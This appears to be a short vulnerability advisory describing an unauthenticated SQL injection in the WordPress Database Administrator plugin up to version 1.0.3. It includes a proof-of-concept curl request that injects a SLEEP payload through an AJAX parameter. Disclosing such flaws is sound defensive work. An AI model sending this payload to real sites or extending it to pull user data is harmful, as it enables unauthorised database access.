WordPress Database Administrator <= 1.0.3 - Unauthenticated SQL Injection

2023-07-2400:00:00

Christiaan Swiers

156

wordpress

database administrator

unauthenticated

sql injection

slow response

sleep function

exploit

0.004 Low

EPSS

Percentile

74.4%

JSON

Description The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

Run the command: 

`curl -i -s -k -X POST --data-binary "action=wdaSetTableActionResponse&table=wp_users%20WHERE%20SLEEP(1)=1%20&request=browse" "https://example.com/wp-admin/admin-ajax.php"`

and see that the response is slow due to the `SLEEP` function.

0.004 Low

EPSS

Percentile

74.4%

JSON

Related for WPEX-ID:873824F0-E8B1-45BD-8579-BC3C649A54E5